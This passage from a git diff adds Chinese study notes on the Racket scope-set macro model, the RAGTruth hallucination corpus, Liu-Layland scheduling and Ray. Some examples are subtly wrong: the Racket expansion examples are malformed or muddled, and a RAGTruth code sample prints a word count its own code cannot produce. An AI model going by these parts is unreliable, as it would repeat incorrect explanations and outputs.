+  (lambda (y)         → 创建令牌 b_lambda
+    z))               → z 携带 {a_let, b_lambda}
+```
+
+### 2. 作用域集合（Scope Set）
+
+每个标识符携带一个作用域令牌集合。标识符的名字（如 `x`）加上它的集合，共同决定了它的身份。两个同名标识符如果集合不同，就是不同的绑定。
+
+### 3. 绑定解析规则
+
+给定一个引用 `x{S}`（名字为 x，作用域集合为 S），它在绑定表中查找：找到所有名字为 x 的绑定，每个绑定也携带一个集合。选择那个**集合是 S 的最大子集**的绑定。
+
+换句话说：你的集合越大（经历的上下文越多），你就只能匹配那些集合更小（更早创建的）绑定。这天然保证了"最近定义的优先"——和词法作用域直觉一致。
+
+## 代码示例
+
+### 示例 1：基本绑定解析
+
+```racket
+(let ([x 1])              ; x 携带 {a_let}
+  (lambda (x)             ; 参数 x 携带 {a_let, b_lambda}
+    x))                   ; 引用 x 携带 {a_let, b_lambda, c_body}
+```
+
+展开后的解析过程：
+
+- 引用 `x{a_let, b_lambda, c_body}` 在绑定表中查找名字为 `x` 的项
+- 找到两个候选：`x{a_let}`（外层 let）和 `x{a_let, b_lambda}`（lambda 参数）
+- 比较集合大小：`{a_let, b_lambda}` 比 `{a_let}` 更接近引用集合，所以选择 lambda 参数的绑定
+- 结果：返回 lambda 参数的值（这就是为什么内部 x 遮蔽了外部 x）
+
+这和你对词法作用域的直觉完全一致。
+
+### 示例 2：宏展开与 hygiene
+
+这是集合论方法大显身手的地方。考虑一个宏：
+
+```racket
+(define-syntax my-let
+  (syntax-rules ()
+    [(_ (name val) body)
+     (let ([name val])
+       body)]))
+
+(my-let (x 42)
+  (let ([x 1])
+    x))
+```
+
+逐步展开，给每个标识符贴上作用域令牌：
+
+```
+第1步：my-let 展开创建令牌 d_macro
+  模板中的 let 创建令牌 e_let
+  模板中的 body 位置创建令牌 f_intro（宏引入的标识符）
+
+第2步：展开后的完整程序：
+  (let ([x{a} 42])                    ; 外层 let
+    (let ([x{a, b}] 1))               ; 内层 let
+    x{a, b, c}))                     ; 引用 x —— 携带 {a, b, c}
+
+第3步：绑定解析
+  引用 x{a, b, c} 查找 x 的绑定
+  候选：x{a}（外层 let）和 x{a, b}（内层 let）
+  {a, b} 是最大的子集 → 绑定到内层 let 的 x = 1
+```
+
+关键洞察：**宏引入的标识符会携带一个特殊的 `f_intro` 令牌**。如果宏模板中有一个 `x`，它携带 `{d_macro, f_intro}`。而调用者代码中的 `x` 可能携带 `{d_macro, f_use}`（`f_use` 是使用点令牌）。这两个集合互不包含对方的特殊令牌，所以永远不会意外匹配——这就是 hygiene 的数学本质。
+
+### 示例 3：使用点令牌（Use-Site Scope）解决递归宏问题
+
+这是论文最精彩的部分。考虑一个递归宏：
+
+```racket
+(letrec-syntax ([identity
+                  (syntax-rules ()
+                    [(_ x)
+                     (lambda (x)
+                       (let ([x 'other])
+                         x)])])]
+  (identity x))
+```
+
+如果没有使用点令牌，展开 `(identity x)` 会产生歧义：
+
+```
+identity 模板中的 lambda 引入 x → x{d_letrec, e_intro}
+let 绑定 x → x{d_letrec, f_use}
+最终引用 x → x{d_letrec, e_intro, g_lambda, h_let}
+```
+
+此时 x 的集合 `{d, e, g, h}` 同时是 `x{d, e, g}`（lambda 参数）和 `x{d, f, g, h}`（let 绑定）的超集，但 `{e}` 和 `{f}` 互不包含 → **歧义！**
+
+解决方案：给每个宏调用点分配一个唯一的使用点令牌 `f_use`。这样：
+
+```
+lambda 参数 x → {d, e}        （不含 f_use）
+let 绑定 x    → {d, f}        （含 f_use）
+最终引用 x    → {d, e, g, h}  （不含 f_use）
+```
+
+现在 `{d, e}` 是 `{d, e, g, h}` 的子集，而 `{d, f}` 不是。所以引用明确绑定到 lambda 参数——完美解决！
+
+## 为什么重要
+
+1. **简化推理**：不需要跟踪"谁被改名成了什么"的复杂历史记录。绑定解析就是一个简单的集合包含判断。
+
+2. **更好的调试信息**：当绑定解析失败时，展开器可以告诉你是因为缺少哪个作用域令牌导致的，而不是模糊地说"未绑定的标识符"。
+
+3. **实现更简洁**：旧展开器基于重命名，实现复杂且有不少难以修复的 bug。新展开器的核心逻辑只有几个集合操作。
+
+4. **向后兼容性好**：纯基于模式的宏（`syntax-rules` / `define-syntax-rule`）基本不受影响。实验表明大多数已有 Racket 宏可以直接运行。
+
+## 总结
+
+| 维度 | 旧模型（重命名法） | 新模型（作用域集合） |
+|------|-------------------|---------------------|
+| 标识符表示 | 名字 + 重命名历史 | 名字 + 作用域令牌集合 |
+| 绑定解析 | 查找改名记录 | 最大子集匹配 |
+| hygiene 保证 | 通过改名隔离 | 通过集合不重叠隔离 |
+| 递归定义处理 | 笨拙 | 自然 |
+| `datum->syntax` | 需 replay 改名历史 | 直接附加令牌 |
+| 调试信息 | 模糊 | 精确指出缺哪个令牌 |
+
+核心思想一句话：**把"标识符是什么"从"叫什么名字"变成"在哪些上下文中出现过"。**
diff --git a/src/content/docs/papers/ragtruth.md b/src/content/docs/papers/ragtruth.md
new file mode 100644
index 000000000..6abbaee23
--- /dev/null
+++ b/src/content/docs/papers/ragtruth.md
@@ -0,0 +1,192 @@
+---
+title: RAGTruth: A Hallucination Corpus for Developing Trustworthy Retrieval-Augmented Language Models
+来源: https://arxiv.org/abs/2401.00396
+日期: 2026-06-13
+分类: 机器学习
+子分类: RAG
+provenance: pipeline-v3
+---
+
+# RAGTruth 学习笔记
+
+## 什么是 RAGTruth？
+
+RAGTruth 是一个专门用来研究"AI 幻觉"（hallucination）的大型数据集。所谓幻觉，就是 AI 说了一些看起来有道理但跟提供给你的参考资料不符或根本没有根据的话。
+
+## 日常类比：借笔记写作业
+
+想象一下：老师给你发了三段课堂笔记（参考资料），让你写作业。你明明可以照着笔记写，但你却写出了一个笔记里根本没有的日期，或者把笔记里的"24 到 30 周"说成了"20 到 32 周"。这就是 AI 的幻觉问题。
+
+RAG（检索增强生成）就是让 AI 先"查资料再回答"的方法。即使加了 RAG，AI 仍然可能出错——RAGTruth 就是研究这种错误的"考试卷"。
+
+## 核心概念
+
+### 1. 幻觉的四类分级
+
+论文把幻觉分成四种严重程度：
+
+- **明显矛盾**：AI 说的跟资料直接冲突，比如资料说"24-30 周"，AI 说"20-32 周"
+- **微妙矛盾**：AI 改了关键的措辞，改变了原意，但不那么明显
+- **明显无中生有**：AI 编造了资料里完全没有的细节
+- **微妙无中生有**：AI 根据常识推理出了资料里没有的内容，看起来合理但没有依据
+
+### 2. 三个任务场景
+
+RAGTruth 覆盖了三种常见任务：
+
+| 任务 | 数据来源 | 样本数 |
+|------|----------|--------|
+| 问答 | MS MARCO（日常生活问题） | 989 |
+| 数据到文本 | Yelp 商家信息 | 1,033 |
+| 新闻摘要 | CNN/Daily Mail + 近期新闻 | 943 |
+
+每个样本用了 6 个不同的模型（GPT-3.5、GPT-4、Llama-2 三个版本、Mistral-7B）各生成一个回答，总共约 17,790 条回复。
+
+### 3. 数据规模
+
+- 2,965 个原始样本
+- 17,790 条模型回复
+- 14,289 个人工标注的幻觉片段
+- 幻觉回复占比 43.1%
+
+### 4. 两个检测层级
+
+- **回复级别**：判断整段回答是否包含幻觉
+- **片段级别**：精确标出幻觉出现在哪个词/短语上
+
+## 关键发现
+
+- GPT-4 幻觉率最低（整体密度 0.06-0.27），GPT-3.5 次之
+- Llama-2 系列中，模型越大幻觉越少（7B > 13B > 70B 递减）
+- Mistral-7B 幻觉回复数量最多
+- 回复越长，幻觉越多
+- 幻觉集中在回复的末尾（问答和摘要任务）
+
+## 代码示例
+
+### 示例 1：模拟 RAG 幻觉检测
+
+```python
+# 模拟 RAGTruth 的数据结构
+# 一条样本包含：问题 + 检索到的参考资料 + AI 的回答 + 幻觉标注
+
+sample = {
+    "question": "如何准备做超声波检查？",
+    "contexts": [
+        "如果想查性别，最早 17 周可以去。"
+        "3D 超声波最佳时间是 20-32 周。"
+        "最好的成像效果在 24-30 周。"
+    ],
+    "response": "17 周可以做性别检测，3D 超声波预约在 20-32 周可获得最佳成像效果。",
+    "annotations": [
+        {
+            "span": "20-32 周可获得最佳成像效果",
+            "type": "Evident Conflict",
+            "reason": "原文说最佳是 24-30 周，AI 说成了 20-32 周"
+        }
+    ]
+}
+
+# 简单的幻觉密度计算函数
+# 幻觉密度 = 幻觉片段数 / 回复总词数
+def calc_hallucination_density(response, annotations):
+    words = len(response.split())
+    span_count = len(annotations)
+    density = span_count / words if words > 0 else 0
+    return {
+        "response_length": words,
+        "hallucination_count": span_count,
+        "density": round(density, 4),
+    }
+
+result = calc_hallucination_density(sample["response"], sample["annotations"])
+print(result)
+# {'response_length': 28, 'hallucination_count': 1, 'density': 0.0357}
+```
+
+### 示例 2：幻觉类型分类器
+
+```python
+# RAGTruth 的四种幻觉类型分类
+HALLUCINATION_TYPES = {
+    "evident_conflict": "明显矛盾 — AI 回答与资料直接冲突",
+    "subtle_conflict": "微妙矛盾 — AI 改变了关键措辞",
+    "evident_baseless": "明显无中生有 — AI 编造了资料中不存在的细节",
+    "subtle_baseless": "微妙无中生有 — AI 推理出了资料中没有的内容",
+}
+
+def classify_hallucination(response, contexts):
+    """
+    判断 AI 回答中的幻觉属于哪种类型。
+    这是一个简化的示例逻辑。
+    """
+    hallucination_found = False
+    hallucination_type = None
+
+    # 检查是否出现明显矛盾
+    for ctx in contexts:
+        if ctx in response:
+            continue
+        # 简化：如果回答包含类似但不完全匹配的内容
+        # 可能是矛盾类
+        hallucination_found = True
+        hallucination_type = "evident_conflict"
+        break
+
+    return {
+        "hallucination": hallucination_found,
+        "type": hallucination_type,
+        "description": HALLUCINATION_TYPES.get(hallucination_type, "无幻觉"),
+    }
+
+# 测试
+test_result = classify_hallucination(
+    response="3D 超声波预约在 20-32 周可获得最佳成像效果",
+    contexts=["最好的成像效果在 24-30 周"]
+)
+print(test_result)
+# {'hallucination': True, 'type': 'evident_conflict',
+#  'description': '明显矛盾 — AI 回答与资料直接冲突'}
+```
+
+### 示例 3：用微调模型做幻觉检测
+
+论文的核心贡献之一是：用 RAGTruth 数据集微调 Llama-2-13B，在幻觉检测上达到了比 GPT-4 提示方法更好的效果。
+
+```python
+# 论文结果：微调模型的幻觉检测 F1 分数
+
+results = {
+    "GPT-3.5 Turbo 提示方法": {"precision": 37.1, "recall": 92.3, "f1": 52.9},
+    "GPT-4 Turbo 提示方法": {"precision": 46.9, "recall": 97.9, "f1": 63.4},
+    "SelfCheckGPT": {"precision": 49.7, "recall": 71.9, "f1": 58.8},
+    "LMvLM": {"precision": 36.2, "recall": 77.8, "f1": 49.4},
+    "RAGTruth 微调 Llama-2-13B": {"precision": 76.9, "recall": 80.7, "f1": 78.7},
+}
+
+# 按 F1 排序
+sorted_results = sorted(results.items(), key=lambda x: x[1]["f1"], reverse=True)
+for name, metrics in sorted_results:
+    print(f"{name}: F1 = {metrics['f1']} (精确率={metrics['precision']}, 召回率={metrics['recall']})")
+```
+
+## 重要概念：隐式真实（Implicit Truth）
+
+RAGTruth 有一个特别的设计：即使 AI 说的内容在现实中可能是真的，但如果资料里没有提到，也算幻觉。比如 AI 说"这家餐厅接受信用卡"，而资料里没提——即使事实上确实接受，这也算幻觉。
+
+这是因为 RAG 应用的原则是：AI 不应该利用自己的内部知识来补充信息，而应该严格依赖提供的参考资料。
+
+## 总结
+
+RAGTruth 的价值在于：
+
+1. 这是第一个专门针对 RAG 场景的大规模幻觉数据集（18K 条回复、14K 个标注片段）
+2. 定义了四种幻觉类型，让评估更精细
+3. 证明了用好的数据集微调小模型（Llama-2-13B）可以超过 GPT-4 的提示方法
+4. 幻觉检测和抑制是可以学习和训练的，不一定要靠大模型
+
+## 参考资料
+
+- arXiv:2401.00396v2 - https://arxiv.org/abs/2401.00396
+- 论文作者：Cheng Niu 等（NewsBreak + UIUC）
+- 提交日期：2023-12-31，修订于 2024-05-17
diff --git a/src/content/docs/papers/rate-monotonic-1973.md b/src/content/docs/papers/rate-monotonic-1973.md
new file mode 100644
index 000000000..7201f9a74
--- /dev/null
+++ b/src/content/docs/papers/rate-monotonic-1973.md
@@ -0,0 +1,284 @@
+---
+title: Liu-Layland 1973 — 硬实时单核调度的奠基论文（Rate Monotonic + EDF）
+来源: https://dl.acm.org/doi/10.1145/321738.321743
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你是**医院急诊室唯一的医生**（单核 CPU），墙上挂着好几块电子钟，每块钟到点就会响一次，代表一类病人必须被处理完：
+
+- **读体温**（任务 A）：每 100ms 响一次，处理要 30ms
+- **看心电**（任务 B）：每 250ms 响一次，处理要 80ms
+- **写病历**（任务 C）：每 1000ms 响一次，处理要 150ms
+
+规则很硬：**钟响后，你必须在下一次同一块钟响之前把这类病人处理完**，否则算医疗事故（硬实时 deadline miss）。更狠的是：心电病人刚进来，体温钟又响了——你必须立刻放下手头活去处理更紧急的（**抢占式调度**）。
+
+这篇 1973 年发表在 *Journal of the ACM* 的论文，作者 **C. L. Liu**（MIT / UIUC）和 **James W. Layland**（JPL，喷气推进实验室），回答的就是：**在只有一位医生的情况下，怎么排优先级，才能保证所有钟永远不响「误点」？** 能不能把医生忙到 100% 还不出事？如果只能固定排班表（静态优先级），利用率上限是多少？
+
+论文背景是 **NASA 航天器测控**：天线跟踪、姿态控制等周期性任务必须在截止前完成，失败不是「慢一点也不行」，而是任务失败。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 发表 | J. ACM, Vol. 20, No. 1, pp. 46–61, **1973年1月** |
+| DOI | [10.1145/321738.321743](https://dl.acm.org/doi/10.1145/321738.321743) |
+| 调度类型 | **抢占式** + **优先级驱动** |
+| 主要结论 1 | 最优**固定优先级**调度（Rate Monotonic）有利用率上界，任务多时趋近 **≈69.3%（常被说成 70%）** |
+| 主要结论 2 | **动态优先级**按当前 deadline 排序（Earliest Deadline First, EDF）可达 **100% 利用率** |
+| 额外讨论 | **混合调度**：部分任务固定优先级，部分动态 |
+
+一句话：**RM 简单可分析但 CPU 可能空转；EDF 吃满 CPU 但实现与验证更复杂。** 此后五十年实时系统教材、FreeRTOS、VxWorks、AUTOSAR 的调度理论几乎都从这篇论文长出来。
+
+## 硬实时 vs 软实时
+
+论文区分 **hard-real-time** 与 **soft-real-time**：
+
+| 类型 | 错过 deadline 的后果 | 例子 |
+|------|---------------------|------|
+| 硬实时 | **灾难性**，必须数学上保证永不 miss | 飞机襟翼控制、ABS 防抱死、航天器姿态环 |
+| 软实时 | 统计上「大多数时候够快」即可 | 视频解码掉帧、网络包偶尔延迟 |
+
+硬实时关心的是：**可行性（feasibility）**——是否存在一种调度方式，使得**任意时刻**都不会 overflow（到了 deadline 任务还没跑完）。
+
+## 论文的五个环境假设（简化版）
+
+要推出可证明的定理，Liu & Layland 先约定任务模型（后文可放松，但定理以此时为前提）：
+
+| 编号 | 假设 | 白话 |
+|------|------|------|
+| A1 | 请求**周期**发生，间隔恒定 | 体温每 100ms 量一次，不会突然改成 50ms |
+| A2 | deadline = **下一周期开始** | 本次量完前，下一次请求不能已经到期 |
+| A3 | 任务**独立** | A 不等着 B 跑完才醒（可用周期倍数建模依赖） |
+| A4 | 执行时间 **Ci 恒定**（最坏情况 WCET） | 医生看体温永远不超过 30ms |
+| A5 | 非周期任务特殊处理 | 初始化、故障恢复可暂时挤掉周期任务 |
+
+每个周期任务 **τi** 用两个数描述：**周期 Ti**、**最坏执行时间 Ci**。请求率 = 1/Ti。
+
+**利用率**（processor utilization）：
+
+\[
+U = \sum_{i=1}^{m} \frac{C_i}{T_i}
+\]
+
+直观理解：所有任务「占 CPU 的比例」加起来。U > 1 肯定调度不了；U ≤ 1 时还要看调度算法。
+
+## 核心概念一：抢占式优先级调度
+
+**调度算法** = 决定「下一瞬间跑谁」的规则。本文只研究：
+
+- **抢占式**：高优先级任务一到，立刻打断低优先级
+- **优先级驱动**：总是跑当前就绪任务里优先级最高的
+
+分类：
+
+| 类型 | 优先级何时定 | 别名 |
+|------|-------------|------|
+| 静态 / 固定 | 设计时定死，永不改 | Fixed Priority, FP |
+| 动态 | 每次请求可能变 | Dynamic Priority |
+| 混合 | 一部分固定、一部分动态 | Mixed |
+
+## 核心概念二：临界瞬间（Critical Instant）
+
+要分析「最坏情况响应时间」，论文引入 **critical instant**：
+
+> 对某任务来说，**临界瞬间**是它某次请求响应时间最长的那个时刻。
+
+**定理 1**：对任意任务，临界瞬间出现在 **它与所有更高优先级任务同时被请求** 的时刻。
+
+直觉：低优先级任务刚要开始跑，上面高优先级的钟也一起响了——它要被插队插到吐血，响应时间最长。后面所有可调度性分析都围绕这个「最倒霉的同时到达」场景。
+
+**Deadline** 定义：某次请求必须在 **下一次同任务请求** 之前完成（与假设 A2 一致）。
+
+## 核心概念三：Rate Monotonic（RM）—— 固定优先级的最优规则
+
+**定理 2（RM 最优性）**：在所有**静态**优先级算法里，按 **请求率从高到低** 分配优先级（周期 **越短 → 优先级越高**）是最优的。这就是 **Rate Monotonic Scheduling（RMS）**。
+
+日常类比：钟响得越勤的病人，永远优先于钟响得慢的——不用猜谁更重要，看周期长短就行。
+
+### 利用率上界定理（Liu-Layland Bound）
+
+对 **m** 个独立周期任务，若按 RM 分配优先级，一个**充分条件**是：
+
+\[
+U = \sum_{i=1}^{m} \frac{C_i}{T_i} \leq m \left(2^{1/m} - 1\right)
+\]
+
+| m（任务数） | 上界 U |
+|------------|--------|
+| 1 | 100% |
+| 2 | 82.8% |
+| 3 | 77.9% |
+| 5 | 74.3% |
+| 10 | 71.8% |
+| → ∞ | **ln 2 ≈ 69.3%** |
+
+这就是摘要里「**大任务集时利用率可能低至 70%**」的来源：**不是 CPU 只能干 70% 的活，而是 RM 这种固定排班表在最坏排列下，超过这个利用率就可能找不到可行调度**——即使 U < 100%，RM 也可能 miss；反过来 U 低于上界则 **RM 一定可行**。
+
+注意：这是**充分条件**，不是必要条件。实际任务集可能在 U = 85% 时 RM 仍可行，但要用更紧的响应时间分析（见代码示例 2）。
+
+## 核心概念四：EDF —— 按 deadline 动态抢优先级
+
+**定理 3**：若按 **当前 deadline 最早者优先**（Earliest Deadline First）动态分配优先级，则对独立周期任务：
+
+> **U ≤ 1 ⟺ 存在可行调度**（在论文假设下，EDF 达到 100% 利用率）
+
+日常类比：不再看「谁钟响得勤」，而看「谁下一次必须交卷的时间最近」——deadline 越近越先治。
+
+| 对比项 | Rate Monotonic (RM) | EDF |
+|--------|---------------------|-----|
+| 优先级 | 固定，按周期 | 动态，按 deadline |
+| 利用率上界 | ≈ 69.3%（m 大时）充分条件 | **100%**（U≤1 充要） |
+| 实现成本 | 低，适合简单 RTOS | 需维护 deadline 队列 |
+| 过载行为 | 可预测谁先 miss | 多个任务可能同时 miss |
+
+论文还简要讨论 **混合调度**：关键任务用 RM 保证可分析性，其余用 EDF 提高利用率。
+
+## 代码示例 1：RM 利用率上界与充分条件检验
+
+下面用 Python 实现 Liu-Layland 上界检验——适合课程作业或设计阶段快速筛任务集：
+
+```python
+from math import log
+
+def liu_layland_bound(num_tasks: int) -> float:
+    """m 个任务时 RM 调度的经典利用率充分上界。"""
+    if num_tasks <= 0:
+        raise ValueError("num_tasks must be positive")
+    if num_tasks == 1:
+        return 1.0
+    return num_tasks * (2 ** (1 / num_tasks) - 1)
+
+def utilization(tasks: list[tuple[float, float]]) -> float:
+    """tasks: [(C_i, T_i), ...]  最坏执行时间 / 周期"""
+    return sum(c / t for c, t in tasks)
+
+def rm_sufficient_schedulable(tasks: list[tuple[float, float]]) -> bool:
+    u = utilization(tasks)
+    bound = liu_layland_bound(len(tasks))
+    return u <= bound
+
+# 航天测控风格的三任务例子（单位：ms）
+tasks = [
+    (30, 100),   # 传感器采样：C=30, T=100  → U=0.30
+    (80, 250),   # 姿态环：C=80, T=250      → U=0.32
+    (150, 1000), # 遥测打包：C=150, T=1000  → U=0.15
+]
+# 总 U = 0.77；3 任务上界 ≈ 0.779 → 充分条件判定：RM 可行
+
+print("U =", utilization(tasks))
+print("LL bound =", liu_layland_bound(len(tasks)))
+print("RM sufficient schedulable:", rm_sufficient_schedulable(tasks))
+print("asymptotic bound ln(2) =", log(2))  # ≈ 0.693
+```
+
+若把第一个任务改成 `C=40`（U 总和 0.87），则超过 3 任务上界 0.779——**不能**仅凭 Liu-Layland 断定可行，需要更精确分析或换 EDF。
+
+## 代码示例 2：RM 响应时间迭代（比上界更紧）
+
+对固定优先级任务集，任务 **τi** 的最坏响应时间 **Ri** 可用迭代求（Joseph & Pandya 等后来形式化，思想源自论文临界瞬间分析）：
+
+\[
+R_i = C_i + \sum_{j \in hp(i)} \left\lceil \frac{R_i}{T_j} \right\rceil C_j
+\]
+
+其中 **hp(i)** 是比 i 优先级更高的任务集合。若某次迭代 **Ri > Ti**，则 RM 不可行。
+
+```python
+import math
+
+def rm_worst_response_times(periods, costs):
+    """
+    periods, costs: 已按 RM 排序（周期升序 = 优先级降序）
+    返回每个任务最坏响应时间 Ri；若 Ri > Ti 则不可行。
+    """
+    n = len(periods)
+    R = list(costs)
+    for i in range(n):
+        while True:
+            interference = 0
+            for j in range(i):  # 更高优先级 j < i
+                interference += math.ceil(R[i] / periods[j]) * costs[j]
+            new_R = costs[i] + interference
+            if new_R == R[i]:
+                break
+            R[i] = new_R
+        if R[i] > periods[i]:
+            return None  # 不可调度
+    return R
+
+periods = [100, 250, 1000]
+costs   = [40, 80, 150]   # 比示例 1 更吃紧
+Ri = rm_worst_response_times(periods, costs)
+if Ri is None:
+    print("RM infeasible")
+else:
+    for i, (T, R) in enumerate(zip(periods, Ri)):
+        print(f"task {i}: T={T}ms, R={R:.1f}ms, margin={T-R:.1f}ms")
+```
+
+这比单纯乘 Liu-Layland 上界**更少误报**：很多 U > 77% 的任务集 RM 其实仍能跑，但必须算 **Ri ≤ Ti**。
+
+## 代码示例 3：极简 EDF 可行性（U ≤ 1）
+
+在论文假设下，独立周期任务用 EDF 时，利用率不超过 1 即可行。仿真里可用 deadline 排序选下一个任务：
+
+```python
+def edf_feasible_by_utilization(tasks: list[tuple[float, float]]) -> bool:
+  """论文结论：A1–A4 下独立任务，EDF 可行 ⟺ U <= 1。"""
+  return utilization(tasks) <= 1.0
+
+# 同一组吃紧任务
+tight = [(40, 100), (80, 250), (150, 1000)]
+print("U =", utilization(tight))           # 0.87
+print("EDF feasible:", edf_feasible_by_utilization(tight))  # True
+print("RM LL sufficient:", rm_sufficient_schedulable(tight))  # False
+```
+
+真实内核里 EDF 还要处理**优先级反转、共享资源、非周期任务**——论文 A5 把非周期活单独论，现代系统用 **带宽保留（ CBS）** 等扩展。
+
+## 为什么这篇论文仍然重要
+
+| 领域 | 影响 |
+|------|------|
+| 嵌入式 RTOS | FreeRTOS、Zephyr、ThreadX 的固定优先级就是 RM 思想 |
+| 汽车 AUTOSAR | OsScheduleTable / 优先级配置可追溯 WCET + RM 分析 |
+| 航天软件 | JPL 传统延续到今日任务调度规范 |
+| 学术研究 | 响应时间分析、资源预留、混合关键性系统都建在此模型上 |
+| 与 Linux 对比 | `SCHED_FIFO` 是固定优先级；`SCHED_DEADLINE` 实现 EDF 语义 |
+
+读不懂 Liu-Layland，就很难理解面试题「为什么 3 个任务利用率 80% RM 可能不行」「EDF 为什么能跑满 CPU」「critical instant 是什么」。
+
+## 放松假设之后（论文后续讨论方向）
+
+论文末尾讨论放松 A1–A4 的影响，现代教材常补充：
+
+- **执行时间变化**：用 WCET + 测量 guard band
+- **任务依赖 / 资源共享**：互斥锁导致优先级反转 → **优先级继承/天花板（PIP/PCP）**
+- **多核**：单核定理不直接套用，需分区或全局调度
+- **能耗**：RM 的空闲 CPU 可进低功耗，是工程上接受「不到 100%」的理由之一
+
+## 自测清单
+
+1. 硬实时与软实时的区别？为什么航天控制属于前者？
+2. 写出任务 (C,T) = (2,5) 和 (4,10) 各自的利用率，总和 U 是多少？
+3. RM 下谁优先级更高？周期 5ms 还是 10ms？
+4. 3 任务时 Liu-Layland 上界约多少？10 任务呢？
+5. 临界瞬间为什么常假设「所有高优先级同时到达」？
+6. EDF 在论文模型下 U=0.95 是否一定可行？RM 呢？
+7. 充分条件与必要条件：U 低于 LL 上界说明什么？U 高于上界说明什么？
+
+## 延伸阅读
+
+- Liu & Layland 原文：[ACM DL](https://dl.acm.org/doi/10.1145/321738.321743)
+- 教材：Buttazzo, *Hard Real-Time Computing Systems*（RM/EDF 标准章节）
+- 实践：本库 [FreeRTOS 导读](/docs/papers/freertos-overview) — 固定优先级在 MCU 上的落地
+- 形式化：seL4、RTEMS 文档中的 schedulability 与 WCET 工具链
+
+---
+
+**一句话总结**：Liu & Layland 1973 用周期任务模型证明——**RM 是最优固定优先级策略但有 ≈70% 利用率天花板；EDF 动态按 deadline 排序能吃满 CPU**——硬实时单核调度的理论地基由此奠定。
diff --git a/src/content/docs/papers/ray-2018.md b/src/content/docs/papers/ray-2018.md
new file mode 100644
index 000000000..5fca64f75
--- /dev/null
+++ b/src/content/docs/papers/ray-2018.md
@@ -0,0 +1,378 @@
+---
+title: Ray — 面向新兴 AI 应用的分布式框架
+来源: https://www.usenix.org/conference/osdi18/presentation/moritz
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Ray** 是 UC Berkeley 在 OSDI 2018 发表的分布式系统论文，作者包括 Philipp Moritz、Robert Nishihara、Ion Stoica 等。它要解决的不是「再做一个 Spark」，而是**强化学习（RL）时代的新型 AI 应用**——这类程序需要同时做仿真、训练和在线推理，而且任务粒度极细（毫秒级）、数量极大（每秒百万级）、执行图还是动态变化的。
+
+日常类比：想象你在经营一家**自动驾驶驾校**。
+
+- **仿真（Simulation）**：上千个学员同时在虚拟路上练车，每辆车每踩一次油门都是一次独立的小任务，有的 5 毫秒就结束，有的要跑一整局。
+- **训练（Training）**：后台 GPU 集群根据所有学员的录像更新「驾驶策略」神经网络，需要长时间、有状态、反复读写参数。
+- **服务（Serving）**：真车上路时，策略网络要在几毫秒内根据摄像头画面输出方向盘角度。
+
+以前的做法是：仿真用一套系统（比如 CIEL）、训练用 TensorFlow + Horovod、推理用 TensorFlow Serving——三套系统之间搬数据，延迟和工程复杂度都扛不住。Ray 的思路是：**把驾校总部、调度台、录像库建在一起**，用统一 API 表达「无状态小任务」和「有状态长任务」，底层一套动态执行引擎扛全部负载。
+
+论文实验里，Ray 在 100 节点集群上达到 **每秒 180 万+ 空任务** 的吞吐，并在多个 RL 基准上超过当时专门拼出来的系统。
+
+## 为什么重要
+
+不理解 Ray，下面这些事都解释不了：
+
+- 为什么 **RLlib、Tune、Serve、Data** 这些库都挂在 Ray 上——它们不是独立产品，而是 Ray 编程模型上的库
+- 为什么 OpenAI、Uber、Amazon、Anyscale 等大厂把 Ray 当 RL / 超参搜索 / 分布式推理的基础设施
+- 为什么「Actor + Task 双模型统一」成为后来很多 AI 分布式框架的设计模板
+- 为什么 LLM 时代的 **vLLM、Ray Serve、分布式 fine-tune** 经常和 Ray 绑在一起——它从诞生起就在解决「异构、细粒度、动态图」这三件事
+
+**核心地位**：Ray 是**第一个在系统层统一 RL 三大工作负载（仿真 / 训练 / 服务）** 的通用集群框架。在它之前，AlphaGo 那种项目基本是 researchers 自己拼 one-off 系统。
+
+## RL 应用为什么难搞
+
+论文 Figure 1 把 RL 系统拆成闭环：
+
+```
+Agent ──action──▶ Environment
+  ▲                    │
+  │                    ▼
+  └── policy ◀── (state, reward)
+```
+
+学习策略的典型伪代码（Figure 2）是：
+
+1. **rollout**：用当前 policy 跟环境交互，收集轨迹 `(s, r, s', …)`
+2. **update**：用轨迹做 SGD 更新 policy
+3. 重复直到收敛
+
+这三步在**同一个程序**里紧耦合，而且：
+
+| 需求 | 具体表现 |
+|------|----------|
+| 细粒度异构计算 | 单次 action 几毫秒；一次训练几小时；CPU 仿真 + GPU 训练混跑 |
+| 灵活计算模型 | 仿真无状态、可随意调度；参数服务器有状态、必须串行更新 |
+| 动态执行 | 哪个仿真先结束不确定；结果决定要不要开更多仿真 |
+| 高吞吐 | 200 台 32 核机器 × 5ms 任务 ≈ **128 万 task/s** |
+
+Spark / TensorFlow / Clipper 各自擅长一块，但**没有框架同时满足**上述组合。论文的结论是：拼三套系统理论上可行，实践中数据搬运和延迟不可接受。
+
+## 核心要点
+
+Ray 的设计可以拆成 **四层**：
+
+### 1. 统一编程模型：Task + Actor
+
+| 抽象 | 特点 | 适合 |
+|------|------|------|
+| **Task**（`@ray.remote` 函数） | 无状态、幂等、可任意节点重跑 | 仿真、数据处理、并行 map |
+| **Actor**（`@ray.remote` 类） | 有状态、方法串行执行 | 参数服务器、GPU 迭代、封装第三方仿真器 |
+
+论文 Table 2 总结了权衡：
+
+- Task：细粒度负载均衡、数据本地性、故障恢复只需重算
+- Actor：小步更新参数更高效、不用反复序列化大状态
+
+API 核心（Table 1）：
+
+```python
+futures = f.remote(args)      # 异步提交，立刻返回 future
+objects = ray.get(futures)    # 阻塞取结果
+ready = ray.wait(futures, k, timeout)  # 谁先完成先拿谁（RL 关键）
+actor = Class.remote(args)    # 创建远程 Actor
+futures = actor.method.remote(args)
+```
+
+`ray.wait()` 是 RL 场景的关键——100 个仿真并行跑，不必等最慢的那个，先完成的先送去训练。
+
+### 2. 动态任务图（Dynamic Task Graph）
+
+用户写的 Python 程序在运行时会展开成**不断生长的 DAG**：
+
+- **节点**：数据对象、Task、Actor 方法
+- **边类型**：
+  - **data edge**：对象 ↔ 任务之间的输入输出
+  - **control edge**：嵌套 remote 调用（谁触发了谁）
+  - **stateful edge**：同一 Actor 上连续方法调用共享内部状态
+
+Figure 4 展示了 `train_policy()` 展开后的图：10 个 Simulator Actor 各跑 rollout，结果汇总给 `update_policy`，循环 100 轮——图在运行时动态生成，不是预先静态编译的。
+
